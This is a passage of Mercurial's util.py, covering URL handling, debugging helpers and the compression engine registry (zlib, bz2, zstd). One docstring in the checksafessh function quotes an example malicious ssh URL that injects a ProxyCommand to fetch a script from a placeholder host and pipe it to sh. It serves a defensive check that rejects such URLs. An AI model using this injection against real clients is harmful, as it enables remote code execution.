2774 2774 s += ':' + urlreq.quote(self.port)
2775 2775 if self.host:
2776 2776 s += '/'
2777 2777 if self.path:
2778 2778 # TODO: similar to the query string, we should not unescape the
2779 2779 # path when we store it, the path might contain '%2f' = '/',
2780 2780 # which we should *not* escape.
2781 2781 s += urlreq.quote(self.path, safe=self._safepchars)
2782 2782 if self.query:
2783 2783 # we store the query in escaped form.
2784 2784 s += '?' + self.query
2785 2785 if self.fragment is not None:
2786 2786 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2787 2787 return s
2788 2788
2789 2789 __str__ = encoding.strmethod(__bytes__)
2790 2790
2791 2791 def authinfo(self):
2792 2792 user, passwd = self.user, self.passwd
2793 2793 try:
2794 2794 self.user, self.passwd = None, None
2795 2795 s = bytes(self)
2796 2796 finally:
2797 2797 self.user, self.passwd = user, passwd
2798 2798 if not self.user:
2799 2799 return (s, None)
2800 2800 # authinfo[1] is passed to urllib2 password manager, and its
2801 2801 # URIs must not contain credentials. The host is passed in the
2802 2802 # URIs list because Python < 2.4.3 uses only that to search for
2803 2803 # a password.
2804 2804 return (s, (None, (s, self.host),
2805 2805 self.user, self.passwd or ''))
2806 2806
2807 2807 def isabs(self):
2808 2808 if self.scheme and self.scheme != 'file':
2809 2809 return True # remote URL
2810 2810 if hasdriveletter(self.path):
2811 2811 return True # absolute for our purposes - can't be joined()
2812 2812 if self.path.startswith(br'\\'):
2813 2813 return True # Windows UNC path
2814 2814 if self.path.startswith('/'):
2815 2815 return True # POSIX-style
2816 2816 return False
2817 2817
2818 2818 def localpath(self):
2819 2819 if self.scheme == 'file' or self.scheme == 'bundle':
2820 2820 path = self.path or '/'
2821 2821 # For Windows, we need to promote hosts containing drive
2822 2822 # letters to paths with drive letters.
2823 2823 if hasdriveletter(self._hostport):
2824 2824 path = self._hostport + '/' + self.path
2825 2825 elif (self.host is not None and self.path
2826 2826 and not hasdriveletter(path)):
2827 2827 path = '/' + path
2828 2828 return path
2829 2829 return self._origpath
2830 2830
2831 2831 def islocal(self):
2832 2832 '''whether localpath will return something that posixfile can open'''
2833 2833 return (not self.scheme or self.scheme == 'file'
2834 2834 or self.scheme == 'bundle')
2835 2835
2836 2836 def hasscheme(path):
2837 2837 return bool(url(path).scheme)
2838 2838
2839 2839 def hasdriveletter(path):
2840 2840 return path and path[1:2] == ':' and path[0:1].isalpha()
2841 2841
2842 2842 def urllocalpath(path):
2843 2843 return url(path, parsequery=False, parsefragment=False).localpath()
2844 2844
2845 2845 def checksafessh(path):
2846 2846 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2847 2847
2848 2848 This is a sanity check for ssh urls. ssh will parse the first item as
2849 2849 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2850 2850 Let's prevent these potentially exploited urls entirely and warn the
2851 2851 user.
2852 2852
2853 2853 Raises an error.Abort when the url is unsafe.
2854 2854 """
2855 2855 path = urlreq.unquote(path)
2856 2856 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2857 2857 raise error.Abort(_('potentially unsafe url: %r') %
2858 2858 (pycompat.bytestr(path),))
2859 2859
2860 2860 def hidepassword(u):
2861 2861 '''hide user credential in a url string'''
2862 2862 u = url(u)
2863 2863 if u.passwd:
2864 2864 u.passwd = '***'
2865 2865 return bytes(u)
2866 2866
2867 2867 def removeauth(u):
2868 2868 '''remove all authentication information from a url string'''
2869 2869 u = url(u)
2870 2870 u.user = u.passwd = None
2871 2871 return bytes(u)
2872 2872
2873 2873 timecount = unitcountfn(
2874 2874 (1, 1e3, _('%.0f s')),
2875 2875 (100, 1, _('%.1f s')),
2876 2876 (10, 1, _('%.2f s')),
2877 2877 (1, 1, _('%.3f s')),
2878 2878 (100, 0.001, _('%.1f ms')),
2879 2879 (10, 0.001, _('%.2f ms')),
2880 2880 (1, 0.001, _('%.3f ms')),
2881 2881 (100, 0.000001, _('%.1f us')),
2882 2882 (10, 0.000001, _('%.2f us')),
2883 2883 (1, 0.000001, _('%.3f us')),
2884 2884 (100, 0.000000001, _('%.1f ns')),
2885 2885 (10, 0.000000001, _('%.2f ns')),
2886 2886 (1, 0.000000001, _('%.3f ns')),
2887 2887 )
2888 2888
2889 2889 _timenesting = [0]
2890 2890
2891 2891 def timed(func):
2892 2892 '''Report the execution time of a function call to stderr.
2893 2893
2894 2894 During development, use as a decorator when you need to measure
2895 2895 the cost of a function, e.g. as follows:
2896 2896
2897 2897 @util.timed
2898 2898 def foo(a, b, c):
2899 2899 pass
2900 2900 '''
2901 2901
2902 2902 def wrapper(*args, **kwargs):
2903 2903 start = timer()
2904 2904 indent = 2
2905 2905 _timenesting[0] += indent
2906 2906 try:
2907 2907 return func(*args, **kwargs)
2908 2908 finally:
2909 2909 elapsed = timer() - start
2910 2910 _timenesting[0] -= indent
2911 2911 stderr.write('%s%s: %s\n' %
2912 2912 (' ' * _timenesting[0], func.__name__,
2913 2913 timecount(elapsed)))
2914 2914 return wrapper
2915 2915
2916 2916 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2917 2917 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2918 2918
2919 2919 def sizetoint(s):
2920 2920 '''Convert a space specifier to a byte count.
2921 2921
2922 2922 >>> sizetoint(b'30')
2923 2923 30
2924 2924 >>> sizetoint(b'2.2kb')
2925 2925 2252
2926 2926 >>> sizetoint(b'6M')
2927 2927 6291456
2928 2928 '''
2929 2929 t = s.strip().lower()
2930 2930 try:
2931 2931 for k, u in _sizeunits:
2932 2932 if t.endswith(k):
2933 2933 return int(float(t[:-len(k)]) * u)
2934 2934 return int(t)
2935 2935 except ValueError:
2936 2936 raise error.ParseError(_("couldn't parse size: %s") % s)
2937 2937
2938 2938 class hooks(object):
2939 2939 '''A collection of hook functions that can be used to extend a
2940 2940 function's behavior. Hooks are called in lexicographic order,
2941 2941 based on the names of their sources.'''
2942 2942
2943 2943 def __init__(self):
2944 2944 self._hooks = []
2945 2945
2946 2946 def add(self, source, hook):
2947 2947 self._hooks.append((source, hook))
2948 2948
2949 2949 def __call__(self, *args):
2950 2950 self._hooks.sort(key=lambda x: x[0])
2951 2951 results = []
2952 2952 for source, hook in self._hooks:
2953 2953 results.append(hook(*args))
2954 2954 return results
2955 2955
2956 2956 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2957 2957 '''Yields lines for a nicely formatted stacktrace.
2958 2958 Skips the 'skip' last entries, then return the last 'depth' entries.
2959 2959 Each file+linenumber is formatted according to fileline.
2960 2960 Each line is formatted according to line.
2961 2961 If line is None, it yields:
2962 2962 length of longest filepath+line number,
2963 2963 filepath+linenumber,
2964 2964 function
2965 2965
2966 2966 Not be used in production code but very convenient while developing.
2967 2967 '''
2968 2968 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2969 2969 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2970 2970 ][-depth:]
2971 2971 if entries:
2972 2972 fnmax = max(len(entry[0]) for entry in entries)
2973 2973 for fnln, func in entries:
2974 2974 if line is None:
2975 2975 yield (fnmax, fnln, func)
2976 2976 else:
2977 2977 yield line % (fnmax, fnln, func)
2978 2978
2979 2979 def debugstacktrace(msg='stacktrace', skip=0,
2980 2980 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2981 2981 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2982 2982 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2983 2983 By default it will flush stdout first.
2984 2984 It can be used everywhere and intentionally does not require an ui object.
2985 2985 Not be used in production code but very convenient while developing.
2986 2986 '''
2987 2987 if otherf:
2988 2988 otherf.flush()
2989 2989 f.write('%s at:\n' % msg.rstrip())
2990 2990 for line in getstackframes(skip + 1, depth=depth):
2991 2991 f.write(line)
2992 2992 f.flush()
2993 2993
2994 2994 class dirs(object):
2995 2995 '''a multiset of directory names from a dirstate or manifest'''
2996 2996
2997 2997 def __init__(self, map, skip=None):
2998 2998 self._dirs = {}
2999 2999 addpath = self.addpath
3000 3000 if safehasattr(map, 'iteritems') and skip is not None:
3001 3001 for f, s in map.iteritems():
3002 3002 if s[0] != skip:
3003 3003 addpath(f)
3004 3004 else:
3005 3005 for f in map:
3006 3006 addpath(f)
3007 3007
3008 3008 def addpath(self, path):
3009 3009 dirs = self._dirs
3010 3010 for base in finddirs(path):
3011 3011 if base in dirs:
3012 3012 dirs[base] += 1
3013 3013 return
3014 3014 dirs[base] = 1
3015 3015
3016 3016 def delpath(self, path):
3017 3017 dirs = self._dirs
3018 3018 for base in finddirs(path):
3019 3019 if dirs[base] > 1:
3020 3020 dirs[base] -= 1
3021 3021 return
3022 3022 del dirs[base]
3023 3023
3024 3024 def __iter__(self):
3025 3025 return iter(self._dirs)
3026 3026
3027 3027 def __contains__(self, d):
3028 3028 return d in self._dirs
3029 3029
3030 3030 if safehasattr(parsers, 'dirs'):
3031 3031 dirs = parsers.dirs
3032 3032
3033 3033 def finddirs(path):
3034 3034 pos = path.rfind('/')
3035 3035 while pos != -1:
3036 3036 yield path[:pos]
3037 3037 pos = path.rfind('/', 0, pos)
3038 3038
3039 3039 # compression code
3040 3040
3041 3041 SERVERROLE = 'server'
3042 3042 CLIENTROLE = 'client'
3043 3043
3044 3044 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3045 3045 (u'name', u'serverpriority',
3046 3046 u'clientpriority'))
3047 3047
3048 3048 class compressormanager(object):
3049 3049 """Holds registrations of various compression engines.
3050 3050
3051 3051 This class essentially abstracts the differences between compression
3052 3052 engines to allow new compression formats to be added easily, possibly from
3053 3053 extensions.
3054 3054
3055 3055 Compressors are registered against the global instance by calling its
3056 3056 ``register()`` method.
3057 3057 """
3058 3058 def __init__(self):
3059 3059 self._engines = {}
3060 3060 # Bundle spec human name to engine name.
3061 3061 self._bundlenames = {}
3062 3062 # Internal bundle identifier to engine name.
3063 3063 self._bundletypes = {}
3064 3064 # Revlog header to engine name.
3065 3065 self._revlogheaders = {}
3066 3066 # Wire proto identifier to engine name.
3067 3067 self._wiretypes = {}
3068 3068
3069 3069 def __getitem__(self, key):
3070 3070 return self._engines[key]
3071 3071
3072 3072 def __contains__(self, key):
3073 3073 return key in self._engines
3074 3074
3075 3075 def __iter__(self):
3076 3076 return iter(self._engines.keys())
3077 3077
3078 3078 def register(self, engine):
3079 3079 """Register a compression engine with the manager.
3080 3080
3081 3081 The argument must be a ``compressionengine`` instance.
3082 3082 """
3083 3083 if not isinstance(engine, compressionengine):
3084 3084 raise ValueError(_('argument must be a compressionengine'))
3085 3085
3086 3086 name = engine.name()
3087 3087
3088 3088 if name in self._engines:
3089 3089 raise error.Abort(_('compression engine %s already registered') %
3090 3090 name)
3091 3091
3092 3092 bundleinfo = engine.bundletype()
3093 3093 if bundleinfo:
3094 3094 bundlename, bundletype = bundleinfo
3095 3095
3096 3096 if bundlename in self._bundlenames:
3097 3097 raise error.Abort(_('bundle name %s already registered') %
3098 3098 bundlename)
3099 3099 if bundletype in self._bundletypes:
3100 3100 raise error.Abort(_('bundle type %s already registered by %s') %
3101 3101 (bundletype, self._bundletypes[bundletype]))
3102 3102
3103 3103 # No external facing name declared.
3104 3104 if bundlename:
3105 3105 self._bundlenames[bundlename] = name
3106 3106
3107 3107 self._bundletypes[bundletype] = name
3108 3108
3109 3109 wiresupport = engine.wireprotosupport()
3110 3110 if wiresupport:
3111 3111 wiretype = wiresupport.name
3112 3112 if wiretype in self._wiretypes:
3113 3113 raise error.Abort(_('wire protocol compression %s already '
3114 3114 'registered by %s') %
3115 3115 (wiretype, self._wiretypes[wiretype]))
3116 3116
3117 3117 self._wiretypes[wiretype] = name
3118 3118
3119 3119 revlogheader = engine.revlogheader()
3120 3120 if revlogheader and revlogheader in self._revlogheaders:
3121 3121 raise error.Abort(_('revlog header %s already registered by %s') %
3122 3122 (revlogheader, self._revlogheaders[revlogheader]))
3123 3123
3124 3124 if revlogheader:
3125 3125 self._revlogheaders[revlogheader] = name
3126 3126
3127 3127 self._engines[name] = engine
3128 3128
3129 3129 @property
3130 3130 def supportedbundlenames(self):
3131 3131 return set(self._bundlenames.keys())
3132 3132
3133 3133 @property
3134 3134 def supportedbundletypes(self):
3135 3135 return set(self._bundletypes.keys())
3136 3136
3137 3137 def forbundlename(self, bundlename):
3138 3138 """Obtain a compression engine registered to a bundle name.
3139 3139
3140 3140 Will raise KeyError if the bundle type isn't registered.
3141 3141
3142 3142 Will abort if the engine is known but not available.
3143 3143 """
3144 3144 engine = self._engines[self._bundlenames[bundlename]]
3145 3145 if not engine.available():
3146 3146 raise error.Abort(_('compression engine %s could not be loaded') %
3147 3147 engine.name())
3148 3148 return engine
3149 3149
3150 3150 def forbundletype(self, bundletype):
3151 3151 """Obtain a compression engine registered to a bundle type.
3152 3152
3153 3153 Will raise KeyError if the bundle type isn't registered.
3154 3154
3155 3155 Will abort if the engine is known but not available.
3156 3156 """
3157 3157 engine = self._engines[self._bundletypes[bundletype]]
3158 3158 if not engine.available():
3159 3159 raise error.Abort(_('compression engine %s could not be loaded') %
3160 3160 engine.name())
3161 3161 return engine
3162 3162
3163 3163 def supportedwireengines(self, role, onlyavailable=True):
3164 3164 """Obtain compression engines that support the wire protocol.
3165 3165
3166 3166 Returns a list of engines in prioritized order, most desired first.
3167 3167
3168 3168 If ``onlyavailable`` is set, filter out engines that can't be
3169 3169 loaded.
3170 3170 """
3171 3171 assert role in (SERVERROLE, CLIENTROLE)
3172 3172
3173 3173 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3174 3174
3175 3175 engines = [self._engines[e] for e in self._wiretypes.values()]
3176 3176 if onlyavailable:
3177 3177 engines = [e for e in engines if e.available()]
3178 3178
3179 3179 def getkey(e):
3180 3180 # Sort first by priority, highest first. In case of tie, sort
3181 3181 # alphabetically. This is arbitrary, but ensures output is
3182 3182 # stable.
3183 3183 w = e.wireprotosupport()
3184 3184 return -1 * getattr(w, attr), w.name
3185 3185
3186 3186 return list(sorted(engines, key=getkey))
3187 3187
3188 3188 def forwiretype(self, wiretype):
3189 3189 engine = self._engines[self._wiretypes[wiretype]]
3190 3190 if not engine.available():
3191 3191 raise error.Abort(_('compression engine %s could not be loaded') %
3192 3192 engine.name())
3193 3193 return engine
3194 3194
3195 3195 def forrevlogheader(self, header):
3196 3196 """Obtain a compression engine registered to a revlog header.
3197 3197
3198 3198 Will raise KeyError if the revlog header value isn't registered.
3199 3199 """
3200 3200 return self._engines[self._revlogheaders[header]]
3201 3201
3202 3202 compengines = compressormanager()
3203 3203
3204 3204 class compressionengine(object):
3205 3205 """Base class for compression engines.
3206 3206
3207 3207 Compression engines must implement the interface defined by this class.
3208 3208 """
3209 3209 def name(self):
3210 3210 """Returns the name of the compression engine.
3211 3211
3212 3212 This is the key the engine is registered under.
3213 3213
3214 3214 This method must be implemented.
3215 3215 """
3216 3216 raise NotImplementedError()
3217 3217
3218 3218 def available(self):
3219 3219 """Whether the compression engine is available.
3220 3220
3221 3221 The intent of this method is to allow optional compression engines
3222 3222 that may not be available in all installations (such as engines relying
3223 3223 on C extensions that may not be present).
3224 3224 """
3225 3225 return True
3226 3226
3227 3227 def bundletype(self):
3228 3228 """Describes bundle identifiers for this engine.
3229 3229
3230 3230 If this compression engine isn't supported for bundles, returns None.
3231 3231
3232 3232 If this engine can be used for bundles, returns a 2-tuple of strings of
3233 3233 the user-facing "bundle spec" compression name and an internal
3234 3234 identifier used to denote the compression format within bundles. To
3235 3235 exclude the name from external usage, set the first element to ``None``.
3236 3236
3237 3237 If bundle compression is supported, the class must also implement
3238 3238 ``compressstream`` and `decompressorreader``.
3239 3239
3240 3240 The docstring of this method is used in the help system to tell users
3241 3241 about this engine.
3242 3242 """
3243 3243 return None
3244 3244
3245 3245 def wireprotosupport(self):
3246 3246 """Declare support for this compression format on the wire protocol.
3247 3247
3248 3248 If this compression engine isn't supported for compressing wire
3249 3249 protocol payloads, returns None.
3250 3250
3251 3251 Otherwise, returns ``compenginewireprotosupport`` with the following
3252 3252 fields:
3253 3253
3254 3254 * String format identifier
3255 3255 * Integer priority for the server
3256 3256 * Integer priority for the client
3257 3257
3258 3258 The integer priorities are used to order the advertisement of format
3259 3259 support by server and client. The highest integer is advertised
3260 3260 first. Integers with non-positive values aren't advertised.
3261 3261
3262 3262 The priority values are somewhat arbitrary and only used for default
3263 3263 ordering. The relative order can be changed via config options.
3264 3264
3265 3265 If wire protocol compression is supported, the class must also implement
3266 3266 ``compressstream`` and ``decompressorreader``.
3267 3267 """
3268 3268 return None
3269 3269
3270 3270 def revlogheader(self):
3271 3271 """Header added to revlog chunks that identifies this engine.
3272 3272
3273 3273 If this engine can be used to compress revlogs, this method should
3274 3274 return the bytes used to identify chunks compressed with this engine.
3275 3275 Else, the method should return ``None`` to indicate it does not
3276 3276 participate in revlog compression.
3277 3277 """
3278 3278 return None
3279 3279
3280 3280 def compressstream(self, it, opts=None):
3281 3281 """Compress an iterator of chunks.
3282 3282
3283 3283 The method receives an iterator (ideally a generator) of chunks of
3284 3284 bytes to be compressed. It returns an iterator (ideally a generator)
3285 3285 of bytes of chunks representing the compressed output.
3286 3286
3287 3287 Optionally accepts an argument defining how to perform compression.
3288 3288 Each engine treats this argument differently.
3289 3289 """
3290 3290 raise NotImplementedError()
3291 3291
3292 3292 def decompressorreader(self, fh):
3293 3293 """Perform decompression on a file object.
3294 3294
3295 3295 Argument is an object with a ``read(size)`` method that returns
3296 3296 compressed data. Return value is an object with a ``read(size)`` that
3297 3297 returns uncompressed data.
3298 3298 """
3299 3299 raise NotImplementedError()
3300 3300
3301 3301 def revlogcompressor(self, opts=None):
3302 3302 """Obtain an object that can be used to compress revlog entries.
3303 3303
3304 3304 The object has a ``compress(data)`` method that compresses binary
3305 3305 data. This method returns compressed binary data or ``None`` if
3306 3306 the data could not be compressed (too small, not compressible, etc).
3307 3307 The returned data should have a header uniquely identifying this
3308 3308 compression format so decompression can be routed to this engine.
3309 3309 This header should be identified by the ``revlogheader()`` return
3310 3310 value.
3311 3311
3312 3312 The object has a ``decompress(data)`` method that decompresses
3313 3313 data. The method will only be called if ``data`` begins with
3314 3314 ``revlogheader()``. The method should return the raw, uncompressed
3315 3315 data or raise a ``RevlogError``.
3316 3316
3317 3317 The object is reusable but is not thread safe.
3318 3318 """
3319 3319 raise NotImplementedError()
3320 3320
3321 3321 class _zlibengine(compressionengine):
3322 3322 def name(self):
3323 3323 return 'zlib'
3324 3324
3325 3325 def bundletype(self):
3326 3326 """zlib compression using the DEFLATE algorithm.
3327 3327
3328 3328 All Mercurial clients should support this format. The compression
3329 3329 algorithm strikes a reasonable balance between compression ratio
3330 3330 and size.
3331 3331 """
3332 3332 return 'gzip', 'GZ'
3333 3333
3334 3334 def wireprotosupport(self):
3335 3335 return compewireprotosupport('zlib', 20, 20)
3336 3336
3337 3337 def revlogheader(self):
3338 3338 return 'x'
3339 3339
3340 3340 def compressstream(self, it, opts=None):
3341 3341 opts = opts or {}
3342 3342
3343 3343 z = zlib.compressobj(opts.get('level', -1))
3344 3344 for chunk in it:
3345 3345 data = z.compress(chunk)
3346 3346 # Not all calls to compress emit data. It is cheaper to inspect
3347 3347 # here than to feed empty chunks through generator.
3348 3348 if data:
3349 3349 yield data
3350 3350
3351 3351 yield z.flush()
3352 3352
3353 3353 def decompressorreader(self, fh):
3354 3354 def gen():
3355 3355 d = zlib.decompressobj()
3356 3356 for chunk in filechunkiter(fh):
3357 3357 while chunk:
3358 3358 # Limit output size to limit memory.
3359 3359 yield d.decompress(chunk, 2 ** 18)
3360 3360 chunk = d.unconsumed_tail
3361 3361
3362 3362 return chunkbuffer(gen())
3363 3363
3364 3364 class zlibrevlogcompressor(object):
3365 3365 def compress(self, data):
3366 3366 insize = len(data)
3367 3367 # Caller handles empty input case.
3368 3368 assert insize > 0
3369 3369
3370 3370 if insize < 44:
3371 3371 return None
3372 3372
3373 3373 elif insize <= 1000000:
3374 3374 compressed = zlib.compress(data)
3375 3375 if len(compressed) < insize:
3376 3376 return compressed
3377 3377 return None
3378 3378
3379 3379 # zlib makes an internal copy of the input buffer, doubling
3380 3380 # memory usage for large inputs. So do streaming compression
3381 3381 # on large inputs.
3382 3382 else:
3383 3383 z = zlib.compressobj()
3384 3384 parts = []
3385 3385 pos = 0
3386 3386 while pos < insize:
3387 3387 pos2 = pos + 2**20
3388 3388 parts.append(z.compress(data[pos:pos2]))
3389 3389 pos = pos2
3390 3390 parts.append(z.flush())
3391 3391
3392 3392 if sum(map(len, parts)) < insize:
3393 3393 return ''.join(parts)
3394 3394 return None
3395 3395
3396 3396 def decompress(self, data):
3397 3397 try:
3398 3398 return zlib.decompress(data)
3399 3399 except zlib.error as e:
3400 3400 raise error.RevlogError(_('revlog decompress error: %s') %
3401 3401 stringutil.forcebytestr(e))
3402 3402
3403 3403 def revlogcompressor(self, opts=None):
3404 3404 return self.zlibrevlogcompressor()
3405 3405
3406 3406 compengines.register(_zlibengine())
3407 3407
3408 3408 class _bz2engine(compressionengine):
3409 3409 def name(self):
3410 3410 return 'bz2'
3411 3411
3412 3412 def bundletype(self):
3413 3413 """An algorithm that produces smaller bundles than ``gzip``.
3414 3414
3415 3415 All Mercurial clients should support this format.
3416 3416
3417 3417 This engine will likely produce smaller bundles than ``gzip`` but
3418 3418 will be significantly slower, both during compression and
3419 3419 decompression.
3420 3420
3421 3421 If available, the ``zstd`` engine can yield similar or better
3422 3422 compression at much higher speeds.
3423 3423 """
3424 3424 return 'bzip2', 'BZ'
3425 3425
3426 3426 # We declare a protocol name but don't advertise by default because
3427 3427 # it is slow.
3428 3428 def wireprotosupport(self):
3429 3429 return compewireprotosupport('bzip2', 0, 0)
3430 3430
3431 3431 def compressstream(self, it, opts=None):
3432 3432 opts = opts or {}
3433 3433 z = bz2.BZ2Compressor(opts.get('level', 9))
3434 3434 for chunk in it:
3435 3435 data = z.compress(chunk)
3436 3436 if data:
3437 3437 yield data
3438 3438
3439 3439 yield z.flush()
3440 3440
3441 3441 def decompressorreader(self, fh):
3442 3442 def gen():
3443 3443 d = bz2.BZ2Decompressor()
3444 3444 for chunk in filechunkiter(fh):
3445 3445 yield d.decompress(chunk)
3446 3446
3447 3447 return chunkbuffer(gen())
3448 3448
3449 3449 compengines.register(_bz2engine())
3450 3450
3451 3451 class _truncatedbz2engine(compressionengine):
3452 3452 def name(self):
3453 3453 return 'bz2truncated'
3454 3454
3455 3455 def bundletype(self):
3456 3456 return None, '_truncatedBZ'
3457 3457
3458 3458 # We don't implement compressstream because it is hackily handled elsewhere.
3459 3459
3460 3460 def decompressorreader(self, fh):
3461 3461 def gen():
3462 3462 # The input stream doesn't have the 'BZ' header. So add it back.
3463 3463 d = bz2.BZ2Decompressor()
3464 3464 d.decompress('BZ')
3465 3465 for chunk in filechunkiter(fh):
3466 3466 yield d.decompress(chunk)
3467 3467
3468 3468 return chunkbuffer(gen())
3469 3469
3470 3470 compengines.register(_truncatedbz2engine())
3471 3471
3472 3472 class _noopengine(compressionengine):
3473 3473 def name(self):
3474 3474 return 'none'
3475 3475
3476 3476 def bundletype(self):
3477 3477 """No compression is performed.
3478 3478
3479 3479 Use this compression engine to explicitly disable compression.
3480 3480 """
3481 3481 return 'none', 'UN'
3482 3482
3483 3483 # Clients always support uncompressed payloads. Servers don't because
3484 3484 # unless you are on a fast network, uncompressed payloads can easily
3485 3485 # saturate your network pipe.
3486 3486 def wireprotosupport(self):
3487 3487 return compewireprotosupport('none', 0, 10)
3488 3488
3489 3489 # We don't implement revlogheader because it is handled specially
3490 3490 # in the revlog class.
3491 3491
3492 3492 def compressstream(self, it, opts=None):
3493 3493 return it
3494 3494
3495 3495 def decompressorreader(self, fh):
3496 3496 return fh
3497 3497
3498 3498 class nooprevlogcompressor(object):
3499 3499 def compress(self, data):
3500 3500 return None
3501 3501
3502 3502 def revlogcompressor(self, opts=None):
3503 3503 return self.nooprevlogcompressor()
3504 3504
3505 3505 compengines.register(_noopengine())
3506 3506
3507 3507 class _zstdengine(compressionengine):
3508 3508 def name(self):
3509 3509 return 'zstd'
3510 3510
3511 3511 @propertycache
3512 3512 def _module(self):
3513 3513 # Not all installs have the zstd module available. So defer importing
3514 3514 # until first access.
3515 3515 try:
3516 3516 from . import zstd
3517 3517 # Force delayed import.
3518 3518 zstd.__version__
3519 3519 return zstd
3520 3520 except ImportError:
3521 3521 return None
3522 3522
3523 3523 def available(self):
3524 3524 return bool(self._module)
3525 3525
3526 3526 def bundletype(self):
3527 3527 """A modern compression algorithm that is fast and highly flexible.
3528 3528
3529 3529 Only supported by Mercurial 4.1 and newer clients.
3530 3530
3531 3531 With the default settings, zstd compression is both faster and yields
3532 3532 better compression than ``gzip``. It also frequently yields better
3533 3533 compression than ``bzip2`` while operating at much higher speeds.
3534 3534
3535 3535 If this engine is available and backwards compatibility is not a
3536 3536 concern, it is likely the best available engine.
3537 3537 """
3538 3538 return 'zstd', 'ZS'
3539 3539
3540 3540 def wireprotosupport(self):
3541 3541 return compewireprotosupport('zstd', 50, 50)
3542 3542
3543 3543 def revlogheader(self):
3544 3544 return '\x28'
3545 3545
3546 3546 def compressstream(self, it, opts=None):
3547 3547 opts = opts or {}
3548 3548 # zstd level 3 is almost always significantly faster than zlib
3549 3549 # while providing no worse compression. It strikes a good balance
3550 3550 # between speed and compression.
3551 3551 level = opts.get('level', 3)
3552 3552
3553 3553 zstd = self._module
3554 3554 z = zstd.ZstdCompressor(level=level).compressobj()
3555 3555 for chunk in it:
3556 3556 data = z.compress(chunk)
3557 3557 if data:
3558 3558 yield data
3559 3559
3560 3560 yield z.flush()
3561 3561
3562 3562 def decompressorreader(self, fh):
3563 3563 zstd = self._module
3564 3564 dctx = zstd.ZstdDecompressor()
3565 3565 return chunkbuffer(dctx.read_from(fh))
3566 3566
3567 3567 class zstdrevlogcompressor(object):
3568 3568 def __init__(self, zstd, level=3):
3569 3569 # TODO consider omitting frame magic to save 4 bytes.
3570 3570 # This writes content sizes into the frame header. That is
3571 3571 # extra storage. But it allows a correct size memory allocation
3572 3572 # to hold the result.
3573 3573 self._cctx = zstd.ZstdCompressor(level=level)
3574 3574 self._dctx = zstd.ZstdDecompressor()
3575 3575 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3576 3576 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3577 3577
3578 3578 def compress(self, data):
3579 3579 insize = len(data)
3580 3580 # Caller handles empty input case.
3581 3581 assert insize > 0
3582 3582
3583 3583 if insize < 50:
3584 3584 return None
3585 3585
3586 3586 elif insize <= 1000000:
3587 3587 compressed = self._cctx.compress(data)
3588 3588 if len(compressed) < insize:
3589 3589 return compressed
3590 3590 return None
3591 3591 else:
3592 3592 z = self._cctx.compressobj()
3593 3593 chunks = []
3594 3594 pos = 0
3595 3595 while pos < insize:
3596 3596 pos2 = pos + self._compinsize
3597 3597 chunk = z.compress(data[pos:pos2])
3598 3598 if chunk:
3599 3599 chunks.append(chunk)
3600 3600 pos = pos2
3601 3601 chunks.append(z.flush())
3602 3602
3603 3603 if sum(map(len, chunks)) < insize:
3604 3604 return ''.join(chunks)
3605 3605 return None
3606 3606
3607 3607 def decompress(self, data):
3608 3608 insize = len(data)
3609 3609
3610 3610 try:
3611 3611 # This was measured to be faster than other streaming
3612 3612 # decompressors.
3613 3613 dobj = self._dctx.decompressobj()
3614 3614 chunks = []
3615 3615 pos = 0
3616 3616 while pos < insize:
3617 3617 pos2 = pos + self._decompinsize
3618 3618 chunk = dobj.decompress(data[pos:pos2])
3619 3619 if chunk:
3620 3620 chunks.append(chunk)
3621 3621 pos = pos2
3622 3622 # Frame should be exhausted, so no finish() API.
3623 3623
3624 3624 return ''.join(chunks)
3625 3625 except Exception as e:
3626 3626 raise error.RevlogError(_('revlog decompress error: %s') %
3627 3627 stringutil.forcebytestr(e))
3628 3628
3629 3629 def revlogcompressor(self, opts=None):
3630 3630 opts = opts or {}
3631 3631 return self.zstdrevlogcompressor(self._module,
3632 3632 level=opts.get('level', 3))
3633 3633
3634 3634 compengines.register(_zstdengine())
3635 3635
3636 3636 def bundlecompressiontopics():
3637 3637 """Obtains a list of available bundle compressions for use in help."""
3638 3638 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3639 3639 items = {}
3640 3640
3641 3641 # We need to format the docstring. So use a dummy object/type to hold it
3642 3642 # rather than mutating the original.
3643 3643 class docobject(object):
3644 3644 pass
3645 3645
3646 3646 for name in compengines:
3647 3647 engine = compengines[name]
3648 3648
3649 3649 if not engine.available():
3650 3650 continue
3651 3651
3652 3652 bt = engine.bundletype()
3653 3653 if not bt or not bt[0]:
3654 3654 continue
3655 3655
3656 3656 doc = pycompat.sysstr('``%s``\n %s') % (
3657 3657 bt[0], engine.bundletype.__doc__)
3658 3658
3659 3659 value = docobject()
3660 3660 value.__doc__ = doc
3661 3661 value._origdoc = engine.bundletype.__doc__
3662 3662 value._origfunc = engine.bundletype
3663 3663
3664 3664 items[bt[0]] = value
3665 3665
3666 3666 return items
3667 3667
3668 3668 i18nfunctions = bundlecompressiontopics().values()
3669 3669
3670 3670 # convenient shortcut
3671 3671 dst = debugstacktrace
3672 3672
3673 3673 def safename(f, tag, ctx, others=None):
3674 3674 """
3675 3675 Generate a name that it is safe to rename f to in the given context.
3676 3676
3677 3677 f: filename to rename
3678 3678 tag: a string tag that will be included in the new name
3679 3679 ctx: a context, in which the new name must not exist
3680 3680 others: a set of other filenames that the new name must not be in
3681 3681
3682 3682 Returns a file name of the form oldname~tag[~number] which does not exist
3683 3683 in the provided context and is not in the set of other names.
3684 3684 """
3685 3685 if others is None:
3686 3686 others = set()
3687 3687
